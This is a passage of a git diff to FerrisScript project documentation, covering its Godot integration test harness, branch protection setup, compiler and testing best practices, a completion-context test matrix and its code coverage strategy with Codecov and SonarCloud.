+    emit_signal("health_changed", 100.0);
+    print("[PASS] Signal emitted successfully");
+    print("[TEST_END]");
+}
+```
+
+**Running**:
+
+```bash
+ferris-test --all                # Run all integration tests
+ferris-test --script path.ferris # Run specific test
+ferris-test --all --verbose      # Verbose output
+```
+
+**Test Scripts**: Located in `godot_test/scripts/`:
+
+- `export_properties_test.ferris` - @export annotations with all hint types
+- `signal_test.ferris` - Signal declaration and emission
+- `process_test.ferris` - Lifecycle callbacks
+- `node_query_*.ferris` - Scene tree queries
+- `struct_literals_*.ferris` - Godot type construction
+
+### Layer 4: Manual Testing
+
+**Purpose**: Feature validation and exploratory testing
+
+**Process**:
 
 1. Build GDExtension: `cargo build --release`
 2. Copy `.dll`/`.so`/`.dylib` to Godot project
 3. Create scene with `FerrisScriptNode`
 4. Set `script_path` to `.ferris` file
-5. Run scene and observe behavior
+5. Run scene (F5) and observe behavior in Output panel
+
+**Test Project**: `godot_test/` - Complete Godot 4.x project with test scenes
+
+### Test Infrastructure
+
+**ferris-test CLI** (`crates/test_harness/`):
+
+- Headless Godot execution (no GUI)
+- Test metadata parsing (TEST, CATEGORY, EXPECT, ASSERT directives)
+- Output marker parsing ([TEST_START], [PASS], [FAIL], [TEST_END])
+- Multiple output formats (console, JSON, JUnit)
+- Timeout handling and parallel execution
+
+**Configuration** (`ferris-test.toml`):
+
+```toml
+godot_executable = "path/to/godot.exe"
+project_path = "./godot_test"
+timeout_seconds = 30
+output_format = "console"
+verbose = false
+```

-# Branch Protection Configuration for FerrisScript
-
-**Created**: October 5, 2025  
-**For**: v0.0.2 Release - Phase 5A  
-
----
-
-## Overview
-
-This document describes the branch protection rules configured for the `main` branch to ensure code quality and prevent accidental changes.
-
----
-
-## Protected Branch: `main`
-
-### Configuration Steps
-
-1. **Navigate to GitHub Settings**:
-   - Go to: https://github.com/dev-parkins/FerrisScript/settings/branches
-   - Click "Add branch protection rule"
-
-2. **Branch Name Pattern**:
-
-   ```
-   main
-   ```
-
-3. **Protection Settings**:
-
-   **Pull Request Requirements**:
-   - ✅ **Require a pull request before merging**
-     - Required number of approvals before merging: **1**
-     - ✅ Dismiss stale pull request approvals when new commits are pushed
-     - ❌ Require review from Code Owners *(not yet configured)*
-
-   **Status Checks**:
-   - ✅ **Require status checks to pass before merging**
-     - ✅ Require branches to be up to date before merging
-     - Required status checks:
-       - `cargo test` *(when CI configured)*
-       - `cargo clippy` *(when CI configured)*
-       - `cargo fmt --check` *(when CI configured)*
-
-   **Additional Settings**:
-   - ✅ **Require conversation resolution before merging**
-   - ✅ **Require signed commits** *(recommended for security)*
-   - ✅ **Require linear history** *(prevents merge commits)*
-   - ✅ **Require deployments to succeed before merging** *(if applicable)*
-
-   **Force Push & Deletion**:
-   - ❌ **Allow force pushes**: DISABLED
-     - Nobody can force push to this branch
-   - ❌ **Allow deletions**: DISABLED
-     - Branch cannot be accidentally deleted
-
-   **Automation**:
-   - ✅ **Automatically delete head branches** after PR merge
-     - Keeps repository clean
-
-4. **Who Can Override** (if needed):
-   - ✅ Repository administrators can bypass protections
-   - ✅ Include administrators in protection rules *(recommended)*
-
----
-
-## Workflow Impact
-
-### Before Branch Protection
-
-```bash
-# This would work (but shouldn't!)
-git checkout main
-git commit -m "Direct commit to main"
-git push origin main
-```
-
-### After Branch Protection
-
-```bash
-# This will be REJECTED by GitHub
-git checkout main
-git commit -m "Direct commit to main"
-git push origin main
-# Error: protected branch hook declined
-```
-
-**Required Workflow**:
-
-```bash
-# 1. Create feature branch
-git checkout -b feature/my-work
-
-# 2. Make changes and commit
-git add .
-git commit -m "Implement feature"
-
-# 3. Push to feature branch
-git push origin feature/my-work
-
-# 4. Create Pull Request via GitHub
-gh pr create --title "Implement feature" --body "Description"
-
-# 5. Wait for review and approval
-
-# 6. Merge PR (automatic or via GitHub UI)
-# Feature branch automatically deleted after merge
-```
-
----
-
-## Benefits
-

-   - Ensures issues are discussed
-   - Documents decision-making
-
-3. **Signed Commits** *(if enabled)*
-   - Verify author identity
-   - Prevents impersonation
-   - Audit trail for compliance
-
----
-
-## Testing Branch Protection
-
-### Test 1: Direct Push (Should Fail)
-
-```bash
-# Try to push directly to main
-git checkout main
-echo "test" > test.txt
-git add test.txt
-git commit -m "Test direct push"
-git push origin main
-
-# Expected: 
-# ! [remote rejected] main -> main (protected branch hook declined)
-# error: failed to push some refs to 'github.com:dev-parkins/FerrisScript'
-```
-
-### Test 2: PR Without Approval (Should Block Merge)
-
-```bash
-# Create feature branch and PR
-git checkout -b feature/test-protection
-echo "test" > test.txt
-git add test.txt
-git commit -m "Test PR protection"
-git push origin feature/test-protection
-gh pr create --title "Test PR" --body "Testing branch protection"
-
-# Try to merge immediately via web UI
-# Expected: "Merging is blocked" - Requires 1 approval
-```
-
-### Test 3: PR With Approval (Should Succeed)
-
-```bash
-# Same PR as above
-# Have another maintainer approve
-# Expected: "Merge pull request" button becomes available
-```
-
----
-
-## Exceptions & Override
-
-### When to Override
-
-Branch protection can be temporarily bypassed by repository administrators in rare cases:
-
-1. **Emergency Hotfix**
-   - Critical production bug
-   - No time for review process
-   - Must document reason in commit message
-
-2. **Initial Setup**
-   - Setting up CI/CD pipelines
-   - Bootstrapping automation
-   - Adding branch protection itself
-
-3. **Repository Maintenance**
-   - Renaming branches
-   - Restructuring repository
-   - Migrating to new structure
-
-### How to Override
-
-1. **Temporarily Disable Protection**:
-   - Go to Settings → Branches
-   - Edit rule → Uncheck "Include administrators"
-   - Make necessary change
-   - Re-enable protection immediately
-
-2. **Best Practice**:
-   - Document reason in commit message
-   - Notify team of override
-   - Re-enable protections ASAP
-   - Create follow-up issue to fix properly
-
----
-
-## Maintenance
-
-### Regular Reviews
-
-**Quarterly** (every 3 months):
-
-- Review protection settings
-- Update required status checks
-- Adjust approval requirements
-- Check for new security options
-
-**After CI Changes**:
-
-- Update required status checks
-- Test new workflows
-- Verify protections still work
-
-**As Team Grows**:
-
-- Add CODEOWNERS file
-- Require specific reviewers
-- Add more required checks
-- Increase approval count
-

-
-Branch protection rules must be configured via GitHub web interface by a repository administrator. This cannot be automated via GitHub CLI due to permission requirements.
-
-**To Configure**: Visit https://github.com/dev-parkins/FerrisScript/settings/branches
-
-**Next Steps After Configuration**:
-
-1. Test protection with dummy PR
-2. Document in CONTRIBUTING.md
-3. Update team documentation
-4. Screenshot configuration for reference

-# Compiler Development Best Practices
-
-**Source**: Learnings from FerrisScript v0.0.2 - v0.0.3 development  
-**Last Updated**: October 8, 2025  
-**Audience**: Contributors, compiler developers, language implementers
-
----
-
-## 🎯 Purpose
-
-This document captures generalizable best practices, patterns, and anti-patterns discovered during FerrisScript development. These lessons apply to compiler development, language design, and software engineering in general.
-
----
-
-## 🔧 Compiler Implementation Patterns
-
-### Error Recovery: Always Advance Before Sync
-
-**Pattern**: Panic-mode error recovery
-
-**The Rule**: When implementing parser error recovery, **always advance at least one token** before calling `synchronize()`.
-
-**Why**: If `synchronize()` finds a sync point immediately (current token is already at sync point), and you haven't advanced, you create an infinite loop. Parser stays at the same position forever.
-
-**Correct Pattern**:
-
-```rust
-fn parse_something(&mut self) -> Result<Node, String> {
-    if !self.check_expected_token() {
-        let error = format!("Expected X, found {:?}", self.current);
-        self.record_error(error);    // 1. Record the error
-        self.advance();              // 2. CRITICAL: Advance past bad token
-        self.synchronize();          // 3. Find safe recovery point
-        return Err("Parse error");
-    }
-    // ... normal parsing
-}
-```
-
-**Incorrect Pattern** (causes infinite loop):
-
-```rust
-fn parse_something(&mut self) -> Result<Node, String> {
-    if !self.check_expected_token() {
-        self.record_error("Error");
-        self.synchronize();  // ❌ BUG: Didn't advance first!
-        return Err("Error");
-    }
-}
-```
-
-**Real-World Impact**: This bug caused FerrisScript parser to consume all RAM when encountering unexpected top-level tokens.
-
-**Sync Point Selection**: Choose sync points that align with grammar structure:
-
-- Statement boundaries (`;`, `}`)
-- Declaration keywords (`fn`, `let`, `class`, `struct`)
-- Block terminators (`}`, `end`, closing tags)
-

-
----
-
-### Adaptive Thresholds for Typo Detection
-
-**Pattern**: String similarity with length-based thresholds
-
-**The Problem**: Single similarity threshold doesn't work for all identifier lengths:
-
-- Short names: `x` vs `y` = 1 edit, 50% similarity (not similar!)
-- Long names: `player_health` vs `player_wealth` = 1 edit, 92% similarity (very similar!)
-
-**Solution**: Adaptive thresholds based on identifier length
-
-```rust
-fn is_similar_identifier(candidate: &str, target: &str) -> bool {
-    let distance = levenshtein(candidate, target);
-    let max_len = candidate.len().max(target.len());
-    
-    if max_len <= 4 {
-        // Very short: require exact match or 1 edit
-        distance <= 1
-    } else if max_len <= 8 {
-        // Short: allow up to 2 edits
-        distance <= 2
-    } else {
-        // Long: use percentage similarity (70%+)
-        let similarity = 1.0 - (distance as f32 / max_len as f32);
-        similarity >= 0.70
-    }
-}
-```
-
-**Key Insights**:
-
-- **Short identifiers** (1-4 chars): Strict edit distance (≤1 edit)
-- **Medium identifiers** (5-8 chars): Moderate edit distance (≤2 edits)
-- **Long identifiers** (9+ chars): Percentage similarity (≥70%)
-
-**Why This Works**:
-
-- Short names have fewer edit combinations, false positives are common
-- Long names have more context, percentage similarity better captures "feels similar"
-- 70% threshold empirically validated across 20+ test cases
-
-**Usage**: "Did you mean?" suggestions for undefined variables, functions, types

-### Test Actual Behavior, Not Assumptions
-
-**Pattern**: Empirical test-driven development
-
-**The Problem**: Compiler behavior doesn't always match your mental model. Writing tests based on assumptions leads to false failures.
-
-**Example** (FerrisScript Phase 1):
-
-```rust
-// ❌ Assumed Behavior (test failed):
-let code = "let x: int = 5;";  // Using invalid type
-assert_error_code(&code, "E110");  // Expected parser error
-
-// ✅ Actual Behavior (test passed):
-let code = "let x: unknown_type = 5;";
-assert_error_code(&code, "E218");  // Type checker catches it first
-```
-
-**Why**: Parser accepts `int` as identifier, type checker rejects it later. Error codes assigned by **which stage catches it first**, not "most appropriate" category.
-
-**Best Practice**:
-
-1. **Write exploratory test** → compile code → observe actual error
-2. **Document actual behavior** → understand why it works this way
-3. **Write test for reality** → test what compiler actually does
-4. **Refine later if needed** → change behavior intentionally, not accidentally
-
-**Anti-Pattern**: Writing tests based on "how it should work" without validating actual behavior first.

-
-## 🧪 Testing Strategies
-
-### Integration Over Unit for User-Facing Features
-
-**Pattern**: Test user experience, not implementation details
-
-**Principle**: For features users interact with directly (error messages, suggestions, completions), **integration tests are more valuable than unit tests**.
-
-**Why**:
-
-- **Unit tests** verify algorithm correctness (Levenshtein distance calculation)
-- **Integration tests** verify user value (do users see helpful suggestions?)
-
-**Example** (FerrisScript Phase 2):
-
-```rust
-// ✅ Integration Test (high value):
-#[test]
-fn test_variable_suggestion_typo() {
-    let code = r#"
-        let player_health: i32 = 100;
-        print(player_helth);  // Typo
-    "#;
-    let result = compile(code);
-    assert!(result.is_err());
-    assert!(result.unwrap_err().contains("did you mean 'player_health'?"));
-}
-
-// ⚠️ Unit Test (lower value):
-#[test]
-fn test_levenshtein_distance() {
-    assert_eq!(levenshtein("kitten", "sitting"), 3);
-}
-```
-
-**When to Prefer Integration Tests**:
-
-- Error message formatting
-- Suggestion quality
-- IDE feature UX (completion, hover, diagnostics)
-- End-to-end workflows
-
-**When Unit Tests Still Valuable**:
-
-- Algorithm correctness (parsers, type checkers, optimizers)
-- Edge case coverage (overflow, unicode, pathological inputs)
-- Performance benchmarking
-
-**Balance**: 70% integration, 30% unit for user-facing features. Reverse for internal algorithms.
-
-**References**: FerrisScript LEARNINGS.md Phase 2
-
----
-
-### Manual Testing for UI Features
-
-**Pattern**: Human validation for subjective experience
-
-**Principle**: For UI-heavy features (VS Code extensions, IDE integrations), **manual testing guides are more valuable than automated tests**.
-
-**Why**:
-
-- Automated tests verify *logic* (does completion return correct items?)
-- Manual testing verifies *experience* (does this feel good to use?)
-
-**What Manual Testing Covers**:
-
-- Visual appearance (colors, icons, formatting)
-- Interaction patterns (tab completion, hover timing, menu navigation)
-- Edge cases users actually encounter (incomplete code, cursor positions)
-- Integration with real editor (not mocked VS Code API)
-
-**Example Structure** (FerrisScript Phase 4):
-
-```markdown
-## Test Case 3: Keyword Completion
-
-**Scenario**: Trigger completion at statement start  
-**Steps**:
-1. Open `.ferris` file
-2. Type `l` at beginning of line
-3. Press Ctrl+Space
-
-**Expected Result**:
-- Completion menu appears
-- Shows `let` keyword with variable declaration icon
-- Detail text: "Variable declaration"
-
-**Actual Result**: [Tester fills in]  
-**Status**: [Pass/Fail]  
-**Notes**: [Any observations]
-```
-
-**When to Use Manual Testing**:
-
-- VS Code/IDE extensions
-- CLI tools (terminal output, colors, progress bars)
-- Error message formatting (readability, clarity)
-- Documentation website UX
-
-**When Automated Testing Better**:
-
-- API behavior (does function return correct values?)
-- Protocol compliance (LSP message format)
-- Regression prevention (ensure bugs stay fixed)
-
-**Best Practice**: Create **structured manual testing guides** with specific scenarios, expected results, and tracking tables. Not ad-hoc "play around with it" testing.

-## 🏗️ Architecture & Design
-
-### Defer Complexity Until Needed
-
-**Pattern**: YAGNI (You Aren't Gonna Need It) for compilers
-
-**Principle**: Don't implement advanced features until you have infrastructure to support them properly.
-
-**Examples** (FerrisScript):
-
-| Feature | Deferred From | Deferred To | Reason |
-|---------|---------------|-------------|--------|
-| Scope-aware completion | Phase 4 | v0.0.5 LSP | Simple static lists sufficient for v0.0.3 |
-| Automated extension tests | Phase 4 | v0.0.5 LSP | Manual testing adequate, setup complex |
-| Keyword suggestions | Phase 2 | v0.0.4 | Requires lexer changes, low value/effort ratio |
-| Multi-error reporting | Phase 3C | v0.0.4 | Foundation (recovery) needed first |
-
-**Decision Process**:
-
-```
-1. Is this feature needed NOW? 
-   → No → Defer
-   
-2. Do we have infrastructure for this?
-   → No → Defer until infrastructure ready
-   
-3. Is simpler alternative good enough?
-   → Yes → Implement simple version, defer complexity
-   
-4. What's the value/effort ratio?
-   → Low → Defer to future version
-```
-
-**Anti-Pattern**: Implementing "complete" LSP when simple completion provider works. Result: 10x development time for 20% more value.
-
-**Key Quote**: "Resist temptation to implement advanced features in Phase 4. Save for LSP implementation when you'll have proper infrastructure. YAGNI principle applies." (FerrisScript LEARNINGS.md)
-
-**References**: FerrisScript LEARNINGS.md Phases 2, 4
-
----
-
-### Separate Concerns for Maintainability
-
-**Pattern**: Modular code organization
-
-**Example** (VS Code Extension):
-
-```
-extensions/vscode/src/
-├── extension.ts           # Entry point (activate/deactivate)
-├── providers/
-│   ├── completion.ts      # CompletionItemProvider
-│   ├── hover.ts           # HoverProvider
-│   └── diagnostics.ts     # DiagnosticProvider
-├── data/
-│   ├── keywords.ts        # Keyword list + completion items
-│   ├── types.ts           # Type list + completion items
-│   └── functions.ts       # Built-in function list
-└── utils/
-    ├── context.ts         # Context detection (regex patterns)
-    └── compiler.ts        # Compiler invocation
-```
-
-**Benefits**:
-
-- **Easy to extend**: Add new keyword? Edit `keywords.ts`. New provider? Add to `providers/`.
-- **Clear responsibilities**: Each file has single purpose
-- **Testable**: Can test `keywords.ts` without loading entire extension
-- **Navigable**: Developers find code quickly
-
-**Anti-Pattern**: Single `extension.ts` with all logic mixed together (1000+ lines).
-
-**References**: FerrisScript LEARNINGS.md Phase 4
-
----
-
-## ⚙️ Development Workflow
-
-### Incremental Compilation for TypeScript
-
-**Pattern**: Build files in dependency order
-
-**Problem**: Compiling all TypeScript files at once → dozens of errors at once → overwhelming
-
-**Solution**: Build incrementally, one file at a time, bottom-up dependency order
-
-**Example** (VS Code Extension):
-
-```bash
-# 1. Data modules (no dependencies)
-npx tsc src/data/keywords.ts --outDir out
-
-# 2. Utilities (depend on data modules)
-npx tsc src/utils/context.ts --outDir out
-
-# 3. Providers (depend on data + utils)
-npx tsc src/providers/completion.ts --outDir out
-
-# 4. Extension entry point (depends on everything)
-npx tsc src/extension.ts --outDir out
-
-# 5. Full build (after fixing all errors)
-npm run compile
-```
-
-**Benefits**:
-
-- **Fast feedback**: Errors in one file, not dozens
-- **Clear error context**: Know exactly where error comes from
-- **Easier debugging**: Isolate problems to specific modules
-
-**When to Use**: Any multi-file TypeScript/JavaScript project, especially during initial setup.
-
-**References**: FerrisScript LEARNINGS.md Phase 4
-
----
-
-### Quality Gates Are Non-Negotiable
-
-**Pattern**: Strict automated quality checks before merge
-
-**The Gates**:
-
-```bash
-# 1. Tests
-cargo test --workspace
-
-# 2. Strict Clippy (catches issues regular clippy misses)
-cargo clippy --workspace --all-targets --all-features -- -D warnings
-
-# 3. Formatting
-cargo fmt --all -- --check
-
-# 4. Documentation Links (if markdown changed)
-npx markdown-link-check **/*.md
-```
-
-**Why `-D warnings` is Critical**:
-
-Regular `cargo clippy` only shows warnings. `-D warnings` treats warnings as errors, forcing you to fix them.
-
-**Example Issues Caught** (FerrisScript Phase 1):
-
-- `useless_vec![]` (should use arrays in tests)
-- Deprecated `criterion::black_box` (should use `std::hint::black_box`)
-- Unnecessary clones in benchmarks
-
-**Best Practice**: Run these checks **before declaring work complete**, not after PR review.
-
-**Automation**: Use pre-commit hooks (FerrisScript has `scripts/pre-commit.sh`) to enforce gates locally.
-
-**References**: FerrisScript LEARNINGS.md Phase 1
-
----
-
-### Document as You Go
-
-**Pattern**: Write documentation alongside code
-
-**When to Document**:
-
-- **During implementation**: Capture design decisions while fresh
-- **Before PR**: Add usage examples and API docs
-- **After challenges**: Document bugs and solutions in LEARNINGS.md
-
-**What to Document**:
-
-| Document Type | When | Example |
-|---------------|------|---------|
-| API Docs (rustdoc) | While writing code | `/// Returns the Levenshtein distance...` |
-| Phase Plans | Before implementation | `PHASE_4_VS_CODE_COMPLETION.md` |
-| Learnings | After solving problems | "Critical Infinite Loop Bug: ..." |
-| Examples | With new features | `examples/error_recovery.ferris` |
-
-**Anti-Pattern**: "We'll document it later" → Never happens, or happens when you've forgotten details.
-
-**Quality Metric**: If someone else can understand your code from docs alone (without reading implementation), docs are good enough.
-
-**References**: FerrisScript LEARNINGS.md Phase 1
-
----
-
-## 📊 Project Management
-
-### Feature Grouping for Focused PRs
-
-**Pattern**: Group related work into coherent phases
-
-**Example** (FerrisScript v0.0.3):
-
-- **Phase 1**: Error codes (all categories together, not separate PRs per category)
-- **Phase 2**: Suggestions (variables + functions + types in one PR)
-- **Phase 6+7**: Dev tooling + benchmarks (combined when overlap discovered)
-
-**Benefits**:
-
-- **Cohesive changes**: Related code changed together
-- **Easier review**: Reviewers understand full context
-- **Atomic delivery**: Feature complete in one PR, not half-done across many
-
-**When to Split**:
-
-- PR becomes too large (>15 files changed)
-- Components truly independent (no coupling)
-- Deliverables span multiple weeks
-
-**References**: FerrisScript planning documents
-
----
-
-### Deferred Items Tracking
-
-**Pattern**: Explicit tracking of what's not done
-
-**Why**: Prevents "lost work" where features are discussed but never implemented.
-
-**Structure**:
-
-```markdown
-## Deferred Items
-
-| Item | Target Version | Rationale | Tracking |
-|------|---------------|-----------|----------|
-| Multi-error reporting | v0.0.4 | Foundation needed | v0.0.4-roadmap.md |
-```
-
-**Best Practice**: Every time you defer something:
-
-1. Document **what** was deferred
-2. Document **why** it was deferred
-3. Document **when** it will be reconsidered (target version)
-4. Add to appropriate roadmap document
-
-**References**: FerrisScript DEFERRED_ITEMS_TRACKING.md
-
----
-
-## 🎓 Lessons for Language Design
-
-### Error Codes Enable Maintainability
-
-**Insight**: Structured error codes (E001, E202, etc.) improve long-term maintainability more than user experience.
-
-**Benefits**:
-
-- **Search/filterable**: Users can Google "FerrisScript E218"
-- **Documentation linkable**: Error message → docs → solution
-- **Versioning**: Track error code changes across versions
-- **Analytics**: Which errors do users encounter most?
-
-**Cost**: Extra infrastructure (error code enum, documentation, tests).
-
-**ROI**: High for any language with >100 users. Low for personal projects.
-
-**References**: FerrisScript ERROR_CODES.md, LEARNINGS.md Phase 1
-
----
-
-### Progressive Disclosure of Features
-
-**Insight**: Simple features first, advanced features later.
-
-**Example** (FerrisScript):
-
-- v0.0.3: Static completion lists (keywords, types)
-- v0.0.5: LSP with scope-aware completion (variables in current scope)
-- v0.1.0: Intelligent completion (type-based filtering, context ranking)
-
-**Why**: Users learn incrementally. Advanced features require infrastructure. Ship value early.
-
-**Anti-Pattern**: Waiting until LSP is perfect before shipping any completion.
-
-**References**: FerrisScript v0.0.3 roadmap

-# Context Detection Testing Guide
-
-**Purpose**: Test matrix for context-aware completion features  
-**Created**: October 7, 2025  
-**Applies To**: VS Code extensions, LSP implementations, auto-complete features
-
----
-
-## 🎯 Why This Matters
-
-Context-aware features need to handle:
-
-- **Exact cursor positions** (after `:`, at statement start)
-- **Partial user input** (typing `V` after `:`, typing `pr` for `print`)
-- **Negative cases** (what should NOT appear in each context)
-
-Testing only "exact positions" misses edge cases that real users encounter.
-
----
-
-## 📋 Test Matrix Template
-
-Use this matrix when implementing context-aware completion:
-
-| Input Context | Cursor Position | User Input | Expected Completions | Should NOT Show | Priority |
-|---------------|-----------------|------------|---------------------|-----------------|----------|
-| Type annotation | `let x:` (after colon) | (none) | All types | Keywords, functions | P0 |
-| Type annotation | `let x:` (space after) | (none) | All types | Keywords, functions | P0 |
-| Type annotation | `let x: i` | "i" | `i32` (filtered) | Keywords, functions | P1 |
-| Type annotation | `let x: Vec` | "Vec" | `Vector2` (filtered) | Keywords, functions | P1 |
-| Statement start | (empty line) | (none) | Statement keywords | Expression-only keywords | P0 |
-| Statement start | `` (indented) | (none) | Statement keywords | Expression-only keywords | P0 |
-| Statement start | `i` | "i" | `if`, `ifelse` | Expression keywords | P1 |
-| Expression | `let x =` | (none) | Keywords, functions | Statement-only keywords | P0 |
-| Expression | `let x = pr` | "pr" | `print` (filtered) | Statement keywords, types | P1 |
-| Function call | `print(` | (none) | All valid expressions | Statement keywords | P0 |
-
-**Priority Levels**:
-
-- **P0**: Core functionality - must work
-- **P1**: Edge cases - user has typed partial input
-- **P2**: Nice-to-have - complex scenarios
-
----
-
-## 🧪 Example: FerrisScript VS Code Extension
-
-### Test Case: Type Position Detection
-
-```typescript
-// Test exact position
-detectContext('let x: ', 7)
-// Expected: TypePosition
-// Should show: i32, f32, bool, String, Vector2, Node, void
-// Should NOT show: fn, let, if, while, return, print
-
-// Test with partial input - "i"
-detectContext('let x: i', 8)
-// Expected: TypePosition (still in type context!)
-// Should show: i32 (filtered by "i" prefix)
-// Should NOT show: if, ifelse (even though they start with "i")
-
-// Test with partial input - "Vec"
-detectContext('let x: Vec', 11)
-// Expected: TypePosition
-// Should show: Vector2 (filtered by "Vec" prefix)
-// Should NOT show: Keywords or functions
-
-// Test function return type
-detectContext('fn foo() -> v', 13)
-// Expected: TypePosition
-// Should show: void (filtered by "v" prefix)
-// Should NOT show: Keywords
-```
-
-### Test Case: Statement vs Expression
-
-```typescript
-// Statement start (empty line)
-detectContext('    ', 4)
-// Expected: StatementStart
-// Should show: fn, let, if, while, return
-// Should NOT show: true, false (expression-only)
-
-// Expression context
-detectContext('let x = ', 8)
-// Expected: Expression
-// Should show: if, else, mut, true, false, print
-// Should NOT show: fn, let, while, return (statement-only)
-
-// Expression with partial input
-detectContext('let x = pr', 10)
-// Expected: Expression
-// Should show: print (filtered by "pr" prefix)
-// Should NOT show: fn, let, while, return
-```

-## ✅ Validation Checklist
-
-When implementing context-aware features:
-
-### During Implementation
-
-- [ ] Created test matrix for all contexts
-- [ ] Tested exact cursor positions (P0 cases)
-- [ ] Tested with partial user input (P1 cases)
-- [ ] Tested negative cases (what should NOT show)
-- [ ] Tested prefix filtering interaction
-
-### During Testing
-
-- [ ] Type nothing → all completions appear
-- [ ] Type single character → filtered completions
-- [ ] Type longer prefix → further filtered
-- [ ] Press `Ctrl+Space` without typing → all completions
-- [ ] Verify context detection with partial input
-
-### Edge Cases to Test
-
-- [ ] Empty string `""`
-- [ ] Single space `" "`
-- [ ] Multiple spaces `"   "`
-- [ ] Tabs `"\t"`
-- [ ] Mixed whitespace `"  \t "`
-- [ ] Partial keywords/types (1-3 characters)
-- [ ] Full keywords/types
-- [ ] Invalid characters after context trigger
-
----
-
-## 🔧 Implementation Pattern
-
-### Good Context Detection (Handles Partial Input)
-
-```typescript
-// ✅ Detects type position even with partial input
-if (/:\s*\w*$/.test(beforeCursor)) {
-    return CompletionContext.TypePosition;
-}
-// Matches: "let x: ", "let x: i", "let x: Vec"
-```
-
-### Bad Context Detection (Only Exact Position)
-
-```typescript
-// ❌ Only works immediately after colon
-if (/:\s*$/.test(beforeCursor)) {
-    return CompletionContext.TypePosition;
-}
-// Matches: "let x: " ✅
-// Doesn't match: "let x: i" ❌ (user has typed!)
-```
-
----
-
-## 📊 Testing Workflow
-
-1. **Create Matrix**: Fill out test matrix before implementation
-2. **Implement**: Write context detection logic
-3. **Unit Tests**: Test with all matrix rows (exact + partial)
-4. **Manual Tests**: Type in actual editor, verify filtering
-5. **Document**: Add notes about prefix filtering behavior
-
-**Time Investment**: 5 minutes to create matrix  
-**Time Saved**: 1-2 hours debugging edge cases later

-# Test Coverage Strategy
-
-**Project**: FerrisScript  
-**Status**: v0.0.3 "Editor Experience Alpha" Post-Release  
-**Last Updated**: October 8, 2025
-
----
-
-## 📊 Coverage Tools Overview
-
-FerrisScript uses **two separate coverage tools** due to language-specific limitations:
-
-| Tool | Languages | Purpose | Dashboard |
-|------|-----------|---------|-----------|
-| **Codecov** | Rust | Primary coverage tracking | [codecov.io/gh/dev-parkins/FerrisScript](https://codecov.io/gh/dev-parkins/FerrisScript) |
-| **SonarCloud** | TypeScript, Markdown | Code quality + coverage (future) | [sonarcloud.io/project/overview?id=dev-parkins_FerrisScript](https://sonarcloud.io/project/overview?id=dev-parkins_FerrisScript) |
-
----
-
-## 🦀 Rust Code Coverage
-
-### Current Status
-
-- **Tool**: Codecov (via cargo-tarpaulin)
-- **Current Coverage**: 64.54% (as of commit 4d48d67)
-- **Target**:
-  - v0.0.4: 70-75%
-  - v0.1.0: 80%+
-- **Format**: Cobertura XML + LCOV
-- **CI Workflow**: `.github/workflows/code-scanning.yml` → `coverage` job
-
-### How It Works
-
-```yaml
-# CI generates coverage on every push to develop/main
-- name: Generate Coverage Report
-  run: |
-    cargo tarpaulin --verbose --all-features --workspace \
-      --timeout 300 \
-      --out Xml --out Lcov \
-      --output-dir coverage/
-```
-
-**Outputs**:
-
-- `coverage/cobertura.xml` → Uploaded to Codecov
-- `coverage/lcov.info` → Uploaded to Codecov (alternate format)
-
-**Artifact**: `coverage-reports` (retained 7 days)
-
-### Why Not SonarCloud for Rust?
-
-**SonarCloud does NOT support Rust as a language.**
-
-**Supported Languages** (as of 2025):
-
-- ✅ Java, C#, JavaScript/TypeScript, Python, Go
-- ✅ PHP, Kotlin, Ruby, Scala, Swift, Objective-C
-- ❌ **Rust** (not supported)
-
-**Implications**:
-
-- SonarCloud cannot analyze Rust code for quality issues
-- SonarCloud cannot parse Rust coverage reports (LCOV or otherwise)
-- Property `sonar.rust.lcov.reportPaths` **does not exist**
-- Coverage artifact download removed from SonarQube job (unnecessary)
-
-**See**: `docs/planning/technical/SONARCLOUD_RUST_LIMITATION_ANALYSIS.md`
-
----
-
-## 📜 TypeScript Code Coverage (Future)
-
-### Current Status
-
-- **Tool**: SonarCloud (when coverage generated)
-- **Current Coverage**: Not yet implemented
-- **Target**: 70%+ (when VSCode extension has tests)
-- **Format**: LCOV (if/when implemented)
-
-### Future Implementation
-
-```yaml
-# Example: When VSCode extension has tests
-- name: Test VSCode Extension
-  working-directory: extensions/vscode
-  run: |

-    # Generates: extensions/vscode/coverage/lcov.info
-```
-
-**sonar-project.properties** (future):
-
-```properties
-sonar.typescript.lcov.reportPaths=extensions/vscode/coverage/lcov.info
-```
-
-**Status**: Not yet implemented (VSCode extension in early development)

-- Target: **70%+**
-- Focus: Full extension functionality tested
-
----
-
-## 🚀 CI/CD Integration
-
-### Workflow: `.github/workflows/code-scanning.yml`
-
-**Jobs**:
-
-1. **`coverage`**: Generate Rust coverage (push events only)
-   - Runs: cargo-tarpaulin
-   - Outputs: Cobertura XML + LCOV
-   - Uploads to: Codecov
-   - Artifact: coverage-reports (7 days)
-
-2. **`sonarqube`**: Quality scan (push to main/develop)
-   - Runs: SonarCloud analysis
-   - Analyzes: TypeScript, Markdown, YAML (NOT Rust)
-   - Note: Does NOT download coverage artifact (Rust unsupported)
-
-3. **`sonarqube-pr`**: Lightweight scan (pull requests)
-   - Runs: SonarCloud PR analysis
-   - No coverage required
-
-### Coverage Upload Flow
-
-```

-
-**Why No Job Dependency?**
-
-- SonarCloud cannot use Rust coverage
-- Parallel execution saves ~4 minutes
-- No need to wait for coverage completion

-2. **PR Comments**: Codecov bot comments on every PR with diff coverage
-3. **Files View**: Browse coverage by file in Codecov UI
-4. **Trends**: Track coverage over time
-
-**Example**:
-
-```
-Codecov Report
-Merging #32 (abc1234) into develop (def5678) will increase coverage by 0.12%.
-The diff coverage is 75.00%.

-### TypeScript Quality (SonarCloud)
-
-1. **Dashboard**: https://sonarcloud.io/project/overview?id=dev-parkins_FerrisScript
-2. **Quality Gate**: Shows code smells, bugs, security issues (NOT Rust coverage)
-3. **PR Decoration**: SonarCloud comments on PRs (quality metrics only)
-
-**Current Metrics** (focus areas):
-
-- Code Smells: Maintainability issues
-- Bugs: Potential runtime errors
-- Security Hotspots: Security review needed
-- Duplication: Repeated code blocks
-
-**Note**: Coverage shown as "0.0%" or "N/A" (expected for Rust project)

-
-## 🛠️ Local Coverage Commands
-
-### Generate Rust Coverage Locally
-
-```powershell
-# Install tarpaulin (if not installed)
-cargo install cargo-tarpaulin
-
-# Generate coverage report (HTML + terminal)
-cargo tarpaulin --verbose --all-features --workspace `
-  --timeout 300 `
-  --out Html --out Lcov `
-  --output-dir coverage/
-
-# View HTML report
-Start-Process coverage/index.html  # Windows
-```
-
-### Generate TypeScript Coverage Locally (Future)
-
-```powershell
-# When VSCode extension has tests
